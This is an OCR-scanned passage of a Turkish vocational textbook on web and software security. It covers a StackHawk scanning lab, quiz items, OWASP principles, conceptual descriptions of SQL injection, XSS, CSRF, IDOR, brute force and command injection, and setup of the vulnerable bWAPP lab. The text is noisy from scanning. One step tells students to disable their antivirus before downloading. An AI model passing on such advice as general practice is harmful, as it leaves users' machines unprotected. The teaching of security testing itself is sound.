YAZILIM GUVENLIGI

\‘f‘j Create New App App Type

Application Type

@ App Type e
Static Site

' 5. Adim: YAML ekraninda, size verilen Download + Setup béimesinde bulunan Add a stackhawk.yml | i
. dosyasml olusturmaniz icin gerekli kodu kopyalayiniz ve Finish! butonuna basiniz (Gérsel 3.78).

N Create New App YAML Download and Scan

ted! applicationId: 636bbdaf-d8f2-42aa-a725-8220e009a31a

@ Download + Setup

Add a =1 v into your project.

app:

applicationId: 636bbdaf-d8f2-42aa-a725-8220e089a31a # (requ

env: Development #

@ Run A Scan

HawkScan CLI Docker with Bash Docker with Powershe

r StarkHawle APl v in the <heall environment Ln

our StaCkrnawek AFl KEY 1IN The snell environime

HAWK_API_KEY="hawk . XocX0000000000000000¢ . X00000000000000000

run -e API_KEY=${HAWK_API_KEY} --rm -v ¢ :/hawk:rw -i

Finish!

Joumentaton

Gorsel 3.78: Uygulama yml dosyasi olugsturma bilgileri
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' 6. Adim: Dinamik kod analizi icin gerekli ayarlari yaptiginiz projenin olustugunu gézlemleyiniz (Gorsel |
1 3. 79). Analizi yapilmayan proje bilgilerinde herhangi bir tarama bilgisi olmadigini gézlemleyiniz. [

‘\i/ dinamikkodanalizi

el: Low Dz

Development

Gorsel 3.79: Ayarlari tamamlanmis proje bilgisi ekrani

I 7 Adim: Bir editor programini acarak stackhawk.yml dosyasini olusturunuz ve kopyaladiginiz kodu !
, yap|§t|r|p kaydediniz. '

|
| |
1 8. Adim: Bilgisayarinizda yikli ise Docker sanallastirmayi ¢alistiriniz. Bilgisayarinizda yikli degilse
: Docker sanallastirmayi bilgisayariniza yikleyiniz ve calistiriniz. :
|
|
|

' 1 9. Adim: Web uygulamaniz i¢in dinamik kod analizini gergeklestirmek amaciyla terminal ekranina su
' kodu yaziniz:

docker run -e APl_KEY=hawk.xxXXxxXXxXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --rm -v S{PWD}:/hawk:rw -t
stackhawk/hawkscan

API_KEY, hesabiniza 6zel olarak verilen API_KEY’dir. Projenizin dinamik kod analizi bu adimda
baslatilmistir ve sonuglar uygulama ekraninda listelenecektir.

dinamikkodanalizi

el Low

Development

Gorsel 3.80: Analizi yapilan proje bilgisi ekrani



r
1

|
|
L

11. Adim: Development bélmesine tiklayarak hangi tir hatalar oldugunu inceleyiniz (Gorsel 3.81, :
3.82 ve 3.83). .

dinamikkodanalizi ©

Development

Findin

Finding Criticality Assigned

Remote Code Execution - Shell Shock

Remote 05 Command Injection

SQL Injection - MsSQL

SQL Injection - PostgreSQL - Time Based

SQL Injection - Oracle - Time Based

SQL Injection - Hypersonic SQL - Time Based

Insecure HTTP Method

Anti CSRF Tokens Scanner

Relative Path Confusion

Hidden File Found

Directory Browsing MED

Application Error Disclosure MED

g Anti-clickjacking Header

Content Security Policy (CSP) Header Not Set

Information Disclosure - Debug Error Messages

Private IP Disclosure

Big Redirect Detected (Potential Sensitive
Information Leak)

X-Content-Type-Options Header Missing

Server Leaks Information X-Powered-By"
HTTP Response Header Field

Cross-Domain JavaSeript Source File Inclusion

Server Leaks Version Information via “Server”
HTTP Response Header Field

Gorsel 3.83: Analiz sonucu disuk risk iceren agiklar listesi
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' 12 Adim: Analiz sonucu karsiniza ¢ikan hatalardan birinin tzerine tiklayiniz ve agilan ekranda hatay |
. |nceley|n|z (Gorsel 3.84). i

/phpmyadmin/index.php?db=test_db) WAITF... REIEEEN Actions ~

Evidence fo ®

SQL Injection - MsSQL

nput Sanitization

Response

Remediation Headers (24)

Most common errors can be prevented by using built in Object Data Models to gather data, using HTTP/1.1 382 Found
parameterized queries in the language framework, and not string concatenatien on SQL statements in the Date: Wed, 20 Sep 2023 11:22:59 GMT
code base. Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.@.28
X-Powered-By: PHP/8.0.28
About Set-Cookie: phpMyAdmin=8qp32gcqrkqo3iudf7pijvcq53e; path=/phpmyadmin/; Httponly; €
Expires: Wed, 20 Sep 2023 11:23:11 +0000
Most SQL injection problems stem from input from the user not being sanitized and or being passed directly Cache-Control: no-store, no-cache, must-revalidate, pre-check=8, post-check=0, m:
Last-Modified: Wed, p 2023 11:23:11 40000
Set-Cookie: phpMyAdmin=8qp32gcarkqo3iudf7pivcaS36; path=/phpmyadmin/; HttpOnly; &
. X-ob_mode: 1
Risks Location: /phpmyadmin/index.php?route=/&reload=1
X-Frame-Options: DENY

to the back-end SQL server.

An attacker may be able to pass SQL commands into the application and allow an attacker to, enumerate
column names, reti a from b code execution Most StackHawk tests for
SQL injection are time based, meaning the scannel ing to make the SQL server perform some time based
oL o e e e e oy
<ldoctype html>
<html lang="tr" dir="1tr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width-device-width, initial-scale=1">

<meta name="referrer” conten no-referrer”>
Y Tail <meta name="robots" content="noindex,nofollow,notranslate™> o
Actions ~ Display AL - 1-50f5 ittt =~ e RS .

Gorsel 3.84: Analiz sonucu guivenlik agiklarindan birinin incelenmesi

Olusturdugunuz bir PHP web sitesi projesinin dinamik kod analizi testini, Stackhawk aracini kul-
lanarak gergeklestiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LiSTESI

DEGERLENDIRME OLGUTLERI HAYIR
PHP web projesini olusturdu.

Stackhawk aracini kullanarak PHP web sitesini tanimladi.

Proje analizine basladi.

Analiz sonucunu goérintuledi.

Varsa diizeltmeleri uyguladi.

Calismayi verilen slirede tamamladi.

Nlofu|r|w[v] e

Eksik oldugu o6lgutleri tamamladi.
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OLCME VE DEGERLENDIRME 3 -

A) Asagidaki ciimlelerde parantezlerin igine yargilar dogru ise “D”, yanhs ise “Y” yaziniz.

b

(...) Yazilmdaki hatalari azaltmak ve yazilimin glivenligini artirmak icin kullanilan tek yontem vardir.

(...) Yazihm glivenligini saglama yontemlerinden Sembolik Uygulama Yontemi, 6zellikle karmasik
kosullu ifadeleri analiz etmek ve potansiyel hata durumlarini bulmak igin kullanilr.

(...) Sizma testi uzmanlari, sizma testlerini iki tir yaklasim ile gerceklestirir.

(...) Etkilesimli uygulama glivenligi testi sadece ¢alisma zamaninda olusan zafiyetleri tespit eden test
tiradar.

B) Asagidaki ciimlelerde bos birakilan yerlere dogru sézciikleri yaziniz.

1. Yazilimin her kosulda islevlerini dogru bir sekilde yerine getirmeye devam edebilmesi icin gelistiril-
MESINE ..ooveieeeererrieereieaaes denir.

2. Yazihm glvenligi ilkelerinden saldiri ylzey alanini ........cccevveveennee. , gereksiz servisleri, portlar
kapatmak gibi 6nlemler igerir.

3. Bilisim giivenligi yonetim sistemlerinin kurulmasi, uygulanmasi, izlenmesi, denetlenmesi ve siirekli
iyilestirilmesi icin gereksinimleri belirten standarda .........cccccveveveneeee. denir.

4. Yazihmin givenlik aciklarini  belirlemek ve dizeltmek icin gerceklestirilen test silirecine

.............................. denir.

C) Asagidaki sorularin dogru cevabini isaretleyiniz.

1.

Bilgi tabanh kimlik dogrulama asagidakilerden hangisini kullanir?

A) Biyometrik veriler

B) Parolalar

C) Tek kullanimlik sifreler
D) Kullanici davranislari

E) iki faktorlii dogrulama
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Cok faktorlii kimlik dogrulama asagidakilerden hangisini azaltmaya yardimci olabilir?

A) Veri ihlalleri B) Bilgisayar korsanligi
C) Kimlik hirsizligi D) Hesap ele gecirilmeleri

E) Spam ve dolandiricilik

CAPTCHA asagidakilerden hangisini 6nlemek icin kullanilir?

A) Veri ihlali B) Parola calma
C) Bot saldirilari D) Veri batunligu

E) Kimlik calma

Asagidakilerden hangisi bilgi tabanh kimlik dogrulamanin dezavantajlarindandir?

A) Parolalar g¢alinabilir veya tahmin edilebilir.

B) Biyometrik veriler herkese acik olabilir.

C) Tek kullanimlik sifreler karmasik olabilir.

D) Bilgi tabanh kimlik dogrulama karmasik olabilir.

E) Kullanicilarin hesaplarini yetkisiz erisime karsi korumayabilir.

Asagidakilerden hangisi ¢ok faktorlii kimlik dogrulamanin dezavantajlarindandir?

A) Parola calma saldirilarini dnlemek. B) Bot saldirilarini 6nlemek.
C) Veri ihlali riskini azaltmak. D) Yetkisiz erisimi engellemek.

E) Maliyeti yukseltmek.

Yazilimin igyapisi, kodu veya altyapisi hakkinda herhangi bir bilgiye sahip olmadan, sadece
girdileri ve giktilari kullanarak test yapmayi iceren yontem asagidakilerden hangisidir?

A) Yesil kutu testi B) Gri kutu testi

C) Siyah kutu testi D) Mavi kutu testi

E) Beyaz kutu testi
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4.1. WEB UYGULAMA GUVENLIGI

4.2. WEB UYGULAMA GUVENLIGI
TEST ORTAMI KURULUMU

4.3. WEB GUVENLIGi UYGULAMALARI

" 9 . .
NELER OGRENECEKSINIZ2
e Web uygulama giivenliginin 6nemi,
ilkeleri ve web sizma teknikleri
* Web uygulama gilivenligi igin test
ortamini  kurabilme, test ortami

uygulamalarini yapabilme

e Web ortami giivenligi icin araglar
kullanarak test yapma

TEMEL KAVRAMLAR
Brute Force, CSRF, Giivenlik, IDOR, SQL Injection, XSS.
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HAZIRLIK CALISMALARI )

1. Web uygulamalarinin glvenligini saglamaya yonelik ne tur g¢alismalar yapilabilir?
Disiuncelerinizi arkadaslarinizla paylasiniz.

2. Web uygulamalarinin givenligini saglamak icin kullanilan test ortamlari neler olabilir?
Distlincelerinizi arkadaslarinizla paylasiniz.

3. Web ortaminin glivenlik testi icin kullanilan test ortamlari, gercek makinelere mi yoksa sanal
makinelere mi kurulmalidir? Diistincelerinizi arkadaslarinizla tartisiniz.

4. Kullaniciparolasiolarak en ok tercih edilen parolalar nelerdir? Diistincelerinizi arkadaslarinizla
paylasiniz.

4.1. WEB UYGULAMA GUVENLIGI

Web uygulamalari, web tarayicilariicinde calisan kullanici araytizii sunmak ve sunucu tarafli bilesenlerle
etkilesimde bulunmak igin HTML, CSS, JavaScript gibi web teknolojilerini kullanan uygulamalardir.
Dogrudanbirmobil cihazdaylklenip calistirilabilen yerel mobil uygulamalarin aksine web uygulamalarina
herhangi bir cihazdaki web tarayicisi araciligiyla erisilebilir. Bu 6zellikleri sayesinde web uygulamalari
kullanicilar i¢in kolayca erisilebilir ve kullanilabilir hale gelir. Yazilim veya programlarin kullanilabilecegi
her alanda web uygulamalari kullanmak mimkindir ve genellikle su alanlarda tercih edilir:

e E-ticaret siteleri

e izleme ve takip uygulamalari

e Otomasyon sistemleri

e Sirket ici calisan uygulamalari

e Web siteleri ve bu sitelere bagl uygulamalar (6zellikle sosyal medya platformlari)

Web tabanl oyunlar

Web uygulamalari, kullanici dostu araylzleri ve kolay erisilebilirligi sayesinde genis bir kullanici kitlesi
tarafindan tercih edildigi icin web uygulama giivenliginin saglanmasi 6nemlidir (Gorsel 4.1).

Gorsel 4.1: Web uygulama glivenligi

Yazihm gelistiricisi bir e-ticaret web uygulamasini yazdiginda bu uygulama icin kullanicilarin Griinleri
inceleyip sepete ekleyerek 6deme yapabilecegi bir de uygulama parcasi gelistirir. Ayrica e-ticaret web
uygulamasi, kullanicilarin kisisel bilgileriyle (ad, adres, ddeme bilgileri vb.) teslimat ve 6deme icin islem
yapabilmesinisaglar. Eger bu web uygulamasi yeterince glivenli degilse bir saldirgan, kullanicthesaplarini
ele gecirerek 6deme bilgilerine erisebilir veya sahte Griinler sunarak dolandiricilik yapabilir. Ayrica
glivenli olmayan bir 6deme sureci, kullanicilarin 6deme bilgilerinin ¢alinmasina yol acar. Olusturulan
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web uygulamasinda glvenli olmayan oturum yonetimi metotlarinin kullanilmasi durumunda bir
saldirgan, kullanicilarin oturum agma bilgilerini galabilir ve hesaplara yetkisiz erisim saglayabilir. Bu da
kullanicilarin 6deme ve kisisel bilgilerinin tehlikeye girmesine neden olur.

Guvenlik eksikliklerinin bir sonucu olarak bir¢ok e-ticaret web uygulamasi, kullanici bilgilerinin sizdigi
veya 6deme bilgilerinin galindigi veri ihlalleri yasamistir. Bu tir olaylar hem kullanicilarin magduriyetine
yol acar hem de sirketlerin itibarina zarar verir. Bu nedenle e-ticaret gibi web uygulamalari, kullanici
verilerini korumak ve glvenli bir alisveris deneyimi sunmak icin HTTPS kullanma, glivenli oturum
yonetimi, glicli sifre politikalari, diizenli glivenlik testleri vb. 6nlemleri uygulamaldir.

Web uygulama glivenligi icin OWASP (Ac¢ik Web Uygulama Glvenligi Projesi), kabul gérmis en iyi
uygulamalari belirleyen ve paylasan bir topluluktur. OWASP Top 10, en yaygin gorilen web uygulama
glivenlik aciklarini listeler. Bu listedeki ilkeler bircok organizasyon tarafindan referans olarak kullanilir.
2023 icin yayinlanan web uygulamalari aciklari listesi soyledir:

1. Nesne Dizeyinde Hatali Yetkilendirme (Broken Object Level Authorization)

Hatali Kimlik Dogrulamasi (Broken Authentication)

Nesne Ozellik Diizeyindeki Hatali Yetkilendirme (Broken Object Property Level Authorization)
Sinirlandiriimamis Kaynak Tlketimi (Unrestricted Resource Consumption)

Hatali Fonksiyon/Metot Seviyesi Yetkilendirmesi (Broken Function Level Authorization)
Sunucu Tarafi istek Sahtekarligi (Server Side Request Forgery)

Yanhs Glvenlik Yapilandirmasi (Security Misconfiguration)

Otomatik Tehditlere Karsi Koruma Eksikligi (Lack of Protection from Automated Threats)
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Uygunsuz Varlik Yonetimi (Improper Inventory Management)

10. API’lerin Guvenli Olmayan Tiiketimi (Unsafe Consumption of APIs)

Web uygulama giivenligi, bilgi givenliginin bir dalidir. Web siteleri, web servislerinin ve
web uygulamalarinin giivenligini kapsar. Bilgilerin korunmasini icerir. Saldirilarin tespiti,
engellenmesi ve saldirilara tepki verilmesiyle koruma amaglanir.

4.1.1. Web Uygulama Giivenligi Temel ilkeleri

Web uygulama glivenligi ilkeleri (Gorsel 4.2) genelde kabul gérmis en iyi uygulamalara dayanir ancak
spesifik gereksinimlere ve sektorlere gore degisebilir. Bazi sektorler daha kati glivenlik gereksinimlerine
sahipken digerleri daha esnek olabilir. Hikimet diizenlemeleri, yasal gereksinimler ve endustri
standartlari da glvenlik ilkelerini etkileyebilir.

Gorsel 4.2: Web uygulama glivenligi ilkeleri
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Veri Dogrulama ve Yetkilendirme (Input Validation and Authentication): Kullanici girisleri, form
verileri ve istemci tarafindan génderilen diger veriler dikkatli bir sekilde dogrulanmalidir. Kot niyetli
kullanicilarin génderdigi zararl verileri engellemek icin giris dogrulama yontemleri kullaniimalidir.
Ayni sekilde kimlik dogrulama ve yetkilendirme mekanizmalariyla yalnizca yetkili kullanicilarin sistem
erisimine sahip olmasi saglanmalidir.

Giivenli iletisim (Secure Communication): Kullanici bilgilerinin iletimi sirasinda HTTPS gibi giivenli
iletisim protokolleri kullaniimalidir. Bu, verilerin sifrelenerek kot niyetli kisilerin verilere erismesinin
engellenmesini saglar.

Zararh Kod incelemesi (Code Review for Vulnerabilities): Yazilimin kodu diizenli olarak incelenmeli ve
glvenlik aciklarini tespit etmek icin test edilmelidir. Bu, potansiyel glivenlik zayifliklarini dnceden tespit
ederek diizeltiimesine olanak tanir.

En Az ihtimalle istismar (Least Privilege Principle): Kullanicilar ve bilesenler, sadece islevlerini yerine
getirebilmek icin gereken minimum yetkilere sahip olmalidir. Bu, saldirganlarin sisteme daha az zarar
verebilecegi anlamina gelir.

Oturum Yonetimi ve Kimlik Yonetimi (Session and Identity Management): Kullanici oturumlarinin
glvenli bir sekilde yonetilmesi ve kullanici kimliklerinin uygun bir sekilde dogrulanmasi saglanmalidir.
Oturumlar stiresince kimlik dogrulama ve yetkilendirme siki bir sekilde uygulanmalidir.

Giuvenlik Giincellemeleri ve Yama Yonetimi (Security Updates and Patch Management): Kullanilan
GglUnci taraf bilesenlerin glncellemeleri dizenli olarak takip edilmeli ve givenlik aciklari hizla
yamalanmalidir.

Giivenlik Testleri ve incelemeler (Security Testing and Reviews): Web uygulamalari, zayif noktalarin ve
glivenlik agiklarinin tespit edilmesi icin diizenli olarak giivenlik testlerine tabi tutulmalidir. Bu testler;
penetrasyon testleri, kod analizleri ve diger glivenlik incelemelerini icerebilir.

Bilingli Kullanici Egitimi (User Awareness Training): Kullanicilarin glicli sifreler segcmesi, kimlik avi
saldirilarinianlamasi ve glivenliinternet aliskanhklari konusunda egitilmesi glivenlik agisindan 6nemlidir.

Giinliik ve izleme (Logging and Monitoring): Uygulama faaliyetleri; giinlik dosyalari ve izleme
araclariyla takip edilmeli, anormal aktiviteler goérildigiinde hizla miidahale saglanmalidir.

Web uygulama glivenligini saglamak icin bazi firmalar bug bounty yarismalari dizenler. Bug
bounty programlari, yazilim sahibi kisi veya firmalarin yazilimlarinda olasi agiklarin bulunmasi
amaclyla dizenledigi guvenlik yarismalaridir. Burada amag, yazim gelistiricilerin veya
firmalarin gelistirdigi uygulamalardaki glivenlik agiklarini bularak bu agiklari kapatmak suretiyle
daha gilivenli yazilimlar tasarlamaktir. Katilim gosteren giivenlik uzmanlari da édullendirilir.

4.1.2. Web Sizma Teknikleri

Web sizma teknikleri, web uygulamalarinin glivenligini degerlendirmek ve olasi zafiyetleri tespit etmek
icin kullanilir. Bu teknikler kullanilarak giivenlik acgiklari tespit edilir, verilerin korunmasi ve gizliligi
saglanir, kullanici glveni ve itibari kazanilir, uygulama ve sistem givenligi giclendirilmesi saglanir ve
siber saldirilara karsi savunma saglanarak daha glivenli web uygulamalari gelistirilir. Web uygulamasina
izinsiz zafiyet testi gerceklestirmek yasal olarak suctur.
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Bu ylizden web uygulama gelistirme alanini 6grenmek ve ¢alismak isteyen glivenlik uzmanlarina yonelik
hazirlanmis laboratuvar uygulamalari mevcuttur (Gorsel 4.3).
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Gorsel 4.3: Sizma testleri alanlari

Zafiyet arama ve savunmasiz web uygulamalarini test etmek icin kullanimi yaygin araclar Sekil 4.1'de

M

verilmistir.

Sekil 4.1: Zafiyet arama araglari

Zafiyet Tarama icin Araglar

Zafiyet Taramasi (Vulnerability Scanning), bir web sitesinin veya uygulamanin potansiyel zafiyetlerini
taramak icin otomatik araclar kullanmayi icerir. Bu araglar, yaygin olarak bilinen zafiyetleri tespit etmek
ve raporlamak igin kullanilir. Sik kullanilan zafiyet tarama araglari Sekil 4.2°de verilmistir.

N
4 4

Sekil 4.2: Zafiyet tarama araglari
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4.1.2.1. SQL Injection (SQL Enjeksiyonu) Sizma Testi

SQL Injection, web sizma testleri sirasinda tespit edilmeye ¢alisilan yaygin bir glvenlik agigi tiridur.
Bu tlr glvenlik acigl, saldirganlarin web uygulamalarindaki veri tabani sorgularini manipiile ederek
istenmeyen veya zararli SQL sorgularini enjekte etmelerine olanak tanir. Bir web uygulamasi, kullanici
tarafindan saglanan girdileri yeterince denetlemediginde veya kullanici girdilerini temizlemediginde
saldirgan, web uygulamasina koti niyetli SQL kodlarini enjekte eder. Bu kodlar genellikle giris alanlarina,
sorgu parametrelerine veya URL parametrelerine eklenir. Saldirganin enjekte ettigi kot niyetli SQL
kodlari, veri tabani sorgusunu maniptle edebilir ve istenmeyen islemleri gergeklestirebilir. Saldirganin
enjekte ettigi sorgular veri tabaninda islendiginde bu sorgularin sonuclari geri déner. Bu sonucglar,
paylasimi istenmeyen veya gizli verileri ifsa edebilir. Veri tabanini etkileyebilir. SQL Injection sizma
testleri, uygulamalarin veri tabani sorgularini isleme mekanizmasi nedeniyle nasil tehlikede oldugunu
anlamak igin kullanihr.

4.1.2.2. XSS (Cross-Site Scripting) Sizma Testi

XSS, web sizma testleri sirasinda tespit edilmeye calisilan yaygin bir glivenlik agig tirtidir. Bu tlr
glvenlik acigl, saldirganlarin web uygulamalarinda glivensiz bir sekilde islenen verilere koti niyetli
komutlar veya kodlar enjekte etmelerine olanak tanir. Enjekte edilen bu komutlar veya kodlar daha
sonra baska kullanicilarin tarayicilarinda yuratildiginde istenmeyen sonuglara yol agabilir. XSS sizma
testlerinde hedef belirleme, veriisleme mekanizmasini belirleme, XSS enjeksiyonu denemeleri ve sonug
analizi adimlariyla web uygulamalarinin aciklari tespit edilir. XSS sizma testleri, uygulamalarin giivensiz
veri isleme mekanizmalari nedeniyle nasil tehlikede oldugunu anlamak icin kullanihr.

4.1.2.3. CSRF (Cross-Site Request Forgery) Sizma Testi

CSRF, web sizma testleri sirasinda tespit edilmeye ¢alisilan bir tir glivenlik agigidir. Bu glivenlik agigi,
saldirganin bir kullanicinin hesabiyla istenmeyen islemleri gergeklestirmesine olanak tanir. CSRF
saldirilari, kullanicinin istemeden kot amach islemleri gerceklestirmesini saglayarak ciddi glivenlik
riskleri olusturabilir. CSRF saldirilari genel olarak su adimlarla gergeklesir: Saldirgan, kurbanin
oturumunun acik oldugu bir web uygulama oturumuna sahip oldugunu varsayar ve kullaniciyr koti
niyetli bir web sayfasina veya e-posta araciligi ile bir URL'de form islemine yonlendirir. Tarayici oturumu
kurbanin bilgisi disinda acik oldugu icin kot niyetli istek otomatik olarak gonderilir. Bu istek, hesap
silme veya parola degistirme gibi bir islem olabilir. Daha sonra hedef web uygulamasi, oturumu agik
olan kullanicinin istegi oldugunu distinerek bunu isler. Kurban, kéti niyetli islemin gerceklestigini fark
etmez ve oturumu acik oldugu siirece saldirganin istedigi islem gerceklestirilir. CSRF sizma testleri bu
nedenle web uygulamalarinin kullanici oturumlari ve islemleri konusundaki glivenligini degerlendirmek
icin 6nemlidir.

4.1.2.4. IDOR (Insecure Direct Object References) Sizma Testi

IDOR, web sizma testleri sirasinda tespit edilmeye calisilan bir baska gtivenlik agigi tiirtidir. Bu glivenlik
acigl, uygulama gelistiricilerinin kullanici verilerine veya nesnelere erisim kontrolini saglamadig
durumda ortaya cikar. Bu nedenle saldirganlar, dogrudan verilere veya nesnelere erisim elde edebilir
ve yetkisiz islemleri gerceklestirebilir. IDOR saldirisi su sekilde gerceklesir: Web uygulamasinda
genellikle kullanicilari veya nesneleri temsil eden benzersiz kimlik numaralari yahut belirtecler kullanilir.
Uygulama bu kimlik numaralarini veya belirtecleri kontrol etmeksizin dogrudan veri yahut nesneye
erisim saglar. Saldirgan, baska bir kullanicinin verilerine veya nesnesine erismek istediginde bu kimlik
numarasini yahut belirteci degistirerek istegi maniptle eder. Uygulama, saldirganin degistirdigi kimlik
numarasini veya belirteci kullanarak verilere yahut nesnelere erisim izni verir. Saldirgan bu sekilde elde
ettigi erisimle yetkisiz islemleri gerceklestirebilir. Buna baska bir kullanicinin verilerini goriintilemek,
dizenlemek veya silmek gibi islemler 6rnek verilebilir. IDOR sizma testleri, uygulamalarin veri veya
nesne erisimi kontrolii konusundaki glivenligini degerlendirmek icin dnemlidir.
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4.1.2.5. Brute Force Attack (Kaba Kuvvet Saldirisi) Sizma Testi

Brute Force Attack, web sizma testleri sirasinda kullanilan bir saldiri tlrtddr. Bu tir saldirida saldirgan,
bir hedefin kullaniciadi veya parolasini tahmin etmek amaciyla otomatik olarak binlerce veya milyonlarca
olasi kombinasyonu deneyebilir. Bu saldiri tiirli, zayif parolalarin veya yetkisiz erisim izinlerinin tespiti
icin kullanihr. Brute Force sizma testleri, uygulamalarin zayif parolalar veya giivenlik 6nlemleri nedeniyle
nasil tehlikede oldugunu anlamak icin kullanilir.

4.1.2.6. Command Execution (Komut Yiiriitme) Sizma Testi

Command Execution, uygulamanin glivensiz bir sekilde komutlariislemesinden yararlanarak saldirganin
istenmeyen komutlari ylritmesi yontemidir. Genellikle siber giivenlikte ve bilgisayar programlama
alaninda kullanilan bir terimdir. Bu terim, bir sistem veya program icinde verilen komutlarin
gerceklestiriimesini ifade eder ancak glivenlik baglaminda k&t niyetli kullanicilarin veya saldirganlarin
hedef sistemde istenmeyen komutlari ylriitmesini ifade eder. Kéti niyetli bir saldirgan, hedef sistem
veya uygulamaya (genellikle yasa disi veya izinsiz bir sekilde) zararli komutlar veya kodlar enjekte
edebilir. Eger hedef sistemde yeterli glivenlik dnlemleri alinmamissa bu komutlar basariyla yurutulebilir
ve saldirgan istenmeyen sonuglara yol agabilir. Ornegin bir web uygulamasinda giris alanina kullanici
adi ve parola giriliyorsa kullanici adi ve parola alanlarina zararli komutlar enjekte edilerek saldirganin
istenmeyen islemleri gerceklestirmesi saglanabilir. Bu, SQL enjeksiyonu veya OS (Operating System)
komutlarinin enjekte edilmesi gibi yontemlerle mimkiin olabilir. Bu tir komut yiritme saldirilari,
hedef sistemin isletim sistemine veya uygulama mantigina zarar verebilir. Saldirganlar; sistemde
yetkisiz erisim elde etmek, hassas verileri calmak, sistem hizmetini kesmek, baska zararl faaliyetlerde
bulunmak gibi amaclarla Command Execution saldirilarini kullanabilir.

4.1.2.7. File Injection (Dosya Enjeksiyonu) Sizma Testi

File Injection, bir saldirganin web uygulamasina veya sistemine zararli dosyalari enjekte etmesi anlamina
gelir. Genellikle glivenlik zafiyetlerinden yararlanarak veya hatali yapilandirilmis givenlik 6nlemleri
nedeniyle gerceklesir. Bu tlr enjeksiyonlar, hedef sistemi veya uygulamayi istenmeyen yahut zararl bir
sekilde etkileyebilir. Bu tir saldirilardan korunmak igin glivenli kodlama prensiplerini takip etmek, veri
girislerini filtrelemek veya dogrulamak, givenlik giincellemelerini uygulamak ve yetkisiz erisime karsi
onlemler almak 6nemlidir. File Injection testi sirasinda testin gergeklesecegi web uygulamasi veya hedefi
belirlenir. Uygulamada veri girisi, dosya ylkleme gibi alanlar belirlenir. Bu, kullanicilarin veri veya dosya
yliklemesine olanak taniyan alanlari icerebilir. Giris veya dosya ylikleme alanlarini inceleyerek kullanici
verilerinin veya dosyalarini nasil islendiginin anlasiimasi gerekir. Ardindan giris veya dosya yukleme
alanlarina 6zel olarak olusturulmus zararli veriler yahut dosyalar enjekte edilir. Bu, uygulamanin nasil
tepki verdigini gézlemlemek icin kullanilir. Enjeksiyon denemeleri sonucunda elde edilen sonuglar
analiz edilir. Uygulama, enjekte edilen verileri veya dosyalari islerse bu, File Injection zafiyetini isaret
edebilir. File Injection sizma testi, uygulamanin kullanici verilerini veya dosyalari nasil isledigini ve bu
islemlerdeki glivenlik agiklarini tespit etmek igin dnemlidir.

4.1.2.8. XML External Entity (XXE) Attack

XXE, uygulamanin glivensiz bir sekilde XML verilerini islemesini kullanarak kotl niyetli XML dokiman-
larini enjekte etme yontemidir.

Zafiyet taramasi icin kullanilan bu teknikler, web uygulamalarinin glvenligini degerlendirmeye ve
potansiyel zafiyetleri tespit etmeye yarar. Bu tir testlerin etik ve yasal sinirlar icinde yapilmasi ve
uygulama sahipleriyle is birligi icinde olunmasi 6nemlidir.
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Tanimlar bashgindaki aciklamalarin altlarinda ayrilan béliimlere Saldiri Tiirleri basli-
gindaki terimlerden dogru olanini yazarak eslestiriniz. Verilen saldii tiirlerinin sizma
testleri ile nasil engellenebilecegine dair diisiincelerinizi arkadaglarimizla paylasiniz.

Saldirganlarin web
uygulamalarindaki veri
tabani sorgularini
manipiile ederek
istenmeyen veya zararl
veri tabani sorgularini
enjekte etmelerine
olanak tanir.

TANIMLAR
I

Saldirganlarin web
uygulamalarinda
giivensiz bir sekilde
islenen verilere kétii
niyetli komutlar veya
kodlar enjekte etmele-
rine olanak tanir.

Saldirganin bir kullani-
cinin hesabiyla isten-
meyen islemleri
gerceklestirmesine
olanak tanir.

Saldirganlar, dogrudan

verilere veya nesnelere

erisim elde edebilir ve
yetkisiz islemleri
gerceklestirebilir.

Saldirgan, bir hedefin
kullanici adi veya
parolasini tahmin

etmek amaciyla
otomatik olarak
binlerce veya milyon-
larca olasi kombinasyo-
nu deneyebilir.

Saldirgan, hedef sistem
veya uygulamaya
(genellikle yasa disi
veya izinsiz bir sekilde)
zararh komutlar veya
kodlar enjekte edebilir.

SQL Injection

Command Execution

SALDIRI TURLERI

Brute Force

IDOR

CSRF

XSS
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4.2. WEB UYGULAMA GUVENLIGI iCiN TEST ORTAMININ KURULUMU

Web uygulama gtlivenligi icin bir test ortami kurmak, glvenlik agiklarini tespit etmek ve gidermek
icin hayati bir adimdir. Bu ortam, gercek bir Gretim ortami degil kontrollli bir cevre sunar. Boylece
glvenlik testleri yapilirken kullanicilar ve veriler riske atilmaz. Test ortaminin kurulmasi, givenlik
profesyonellerine ve gelistiricilere potansiyel tehditlere ve saldirilara karsi savunmalarini gliclendirmek
icin degerli bir firsat sunar. Bu, glivenlik agiklarini tespit etmenin yani sira uygulamanin daha gtivenli
hale getirilmesi icin dnemlidir.

4.2.1. Giivenlik Zafiyetleri iceren Ortamlar

Bircok web uygulama givenligi test ortami mevcuttur. Bazi test ortamlari gercek makine (zerinde
calisirken bazilari sanal makineler tizerinde galisir. Bee-Box ve bWAPP test ortamlariicerik olarak aynidir.
Bee-Box daha dnceden igcine bWAPP kurulmus hazir bir sanal makine sabit diskidir.

UYGULAMA

> bWAPP test ortamini verilen adimlar dogrultusunda gergeklestiriniz.

I1 Adim: Test ortami i¢in sistemde bir Apache sunucu ve MySQL veri tabani sunucusunun kurulu !
!  olmasi gerekir. Sistemde bunlar yoksa XAMPP indirip kurunuz. PHP versiyon 8.1 ve sonrasi bWAPP ile
. "uyumsuz oldugu icin XAMPP’In PHP 5.6 versiyonlu paketini kurunuz (Cihazinizda mevcutsa bu adimi'!
: atlayiniz.).

I .
! 2. Adim: Internet tarayicisindan http://www.itsecgames.com/download.htm adresine giriniz.

L e e

' 3. Adim: Acilan sayfadan You can download bWAPP from here linkine tiklayiniz (Gorsel 4.4).

/ Downhload /

You can download bWAPP from here.

Another possibility is to download bee-box, a custom Linux virtual machine pre-installed with bWAPP.
bee-box gives you several ways to hack and deface the bWAPP website. It's even possible to hack bee-box to get
root access... With bee-box you have the opportunity to explore all bWAPP vulnerabilities!

You can download bee-box from here.

Gorsel 4.4: bWAPP ve Bee-Box indirme sayfasi

] 4 Adim: indirme isleminden &nce antiviriis programini gegici olarak kapatiniz.

o4

